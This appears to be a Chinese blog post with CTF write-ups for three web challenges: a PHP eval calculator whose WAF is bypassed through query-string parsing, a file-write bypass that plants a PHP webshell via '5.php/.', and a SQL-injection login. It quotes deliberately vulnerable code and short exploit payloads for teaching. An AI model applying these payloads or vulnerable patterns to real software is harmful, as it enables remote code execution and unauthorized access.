[RoarCTF 2019]Easy Calc、攻防世界 ics07、[极客大挑战 2019]EasySQL

文章讲述了两个CTF比赛中的Web安全题目,一个是关于如何绕过WAF限制在PHP环境中执行自定义代码,另一个涉及SQL注入漏洞利用。在第一个问题中,利用PHP字符串解析特性,通过ASCII编码避开过滤规则。在第二个问题中,通过构造特定的ID值绕过SQL条件,实现文件上传并获取FLAG。
摘要由CSDN通过智能技术生成
[RoarCTF 2019]Easy Calc

进入题目是一个计算器的功能

在这里插入图片描述

检查网页源码发现这样一个重要信息

在这里插入图片描述

这题有WAF计算功能是通过calc.php这里面的代码执行的,我们去访问一下得到源码

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

这边过滤了很多的东西,并且经过测试发现只能输入数字,那么我们该如何绕过这个隐藏的WAF?补充如下知识点

PHP字符串解析特性绕过WAF

输入时发现num只能输入数字,输入字符无法解析。
PHP需要将所有参数转换为有效变量名,因此在解析查询字符串时,它会做两件事:1,删除空白字符;2,将某些字符转换为下划线(包括空格)

现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样代码还能正常运行,还上传了非法字符。

根据php这个特性我们构造payload,由于"" 和\ 被过滤那么我们使用asscii码值来绕过

?%20num=var_dump(scandir(chr(47)))

在这里插入图片描述

接下来我们把flag读出来就行

?%20num=var_dump(file_get_contents(chr(47).f1agg))

在这里插入图片描述

ics07

在这里插入图片描述

进入环境发现只有这个能点进去我们继续看

在这里插入图片描述

点击这个源码直接给了我们,源码内容如下

<?php
    session_start();

    if (!isset($_GET[page])) {
      show_source(__FILE__);
      die();
    }

    if (isset($_GET[page]) && $_GET[page] != 'index.php') {
      include('flag.php');
    }else {
      header('Location: ?page=flag.php');
    }
?>
    


<?php
     if ($_SESSION['admin']) {
       $con = $_POST['con'];
       $file = $_POST['file'];
       $filename = "backup/".$file;

       if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
          die("Bad file extension");
       }else{
            chdir('uploaded');
           $f = fopen($filename, 'w');
           fwrite($f, $con);
           fclose($f);
       }
     }
?>
    

    
<?php
      if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
        include 'config.php';
        $id = mysql_real_escape_string($_GET[id]);
        $sql="select * from cetc007.user where id='$id'";
        $result = mysql_query($sql);
        $result = mysql_fetch_object($result);
      } else {
        $result = False;
        die();
      }

      if(!$result)die("<br >something wae wrong ! <br>");
      if($result){
        echo "id: ".$result->id."</br>";
        echo "name:".$result->user."</br>";
        $_SESSION['admin'] = True;
      }
?>

根据第一段代码我们先给page赋个值,然后将flag.php包含进去,payload如下

?page=flag.php

在这里插入图片描述

然后我们来分析第二段代码

<?php
     if ($_SESSION['admin']) {
       $con = $_POST['con'];
       $file = $_POST['file'];
       $filename = "backup/".$file;

       if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
          die("Bad file extension");
       }else{
            chdir('uploaded');
           $f = fopen($filename, 'w');
           fwrite($f, $con);
           fclose($f);
       }
     }
?>

利用点就在上面这串代码中,这里先把文件名拼接到backup目录下,然后正则匹配,这里正则的意思是:匹配最后一个点后面的后缀,然后下面的else里面又更改了当前目录。但是如果要利用这段代码session[‘admin’]必须为true

然后我们看一下第三段代码

<?php
      if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
        include 'config.php';
        $id = mysql_real_escape_string($_GET[id]);
        $sql="select * from cetc007.user where id='$id'";
        $result = mysql_query($sql);
        $result = mysql_fetch_object($result);
      } else {
        $result = False;
        die();
      }

      if(!$result)die("<br >something wae wrong ! <br>");
      if($result){
        echo "id: ".$result->id."</br>";
        echo "name:".$result->user."</br>";
        $_SESSION['admin'] = True;
      }
?>

通过这段代码发现只需要result有值我们就可以上传文件了,一开始我的思路是通过sql注入完成但是失败了,这时候我们看一下sql查询的条件

if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9')

首先需要传一个id的值并且将id转换为浮点数不全等于1并且最后一位数字是9

这里的绕过方法就比较简单了使用如下payload便可以轻松绕过

?id=1(9

然后通过POST方式写入con和file,一个为文件内容一个为文件路径,又因为有正则匹配的过滤,我们将文件名取名为5.php/.,又因为这是Linux操作系统所以可以解析那么接下来我们上传文件即可

在这里插入图片描述

然后我们访问一下马注意路径为**/uploaded/backup/5.php**

在这里插入图片描述

发现flag

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

[极客大挑战 2019]EasySQL

根据题目提示easysql很容易就想到这题是sql注入漏洞

在这里插入图片描述

进入环境是一个用户登录界面,既然题目提示了是sql注入那我先测试测试万能密码

在这里插入图片描述

成功登录,这边就考察的是sql的万能密码

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值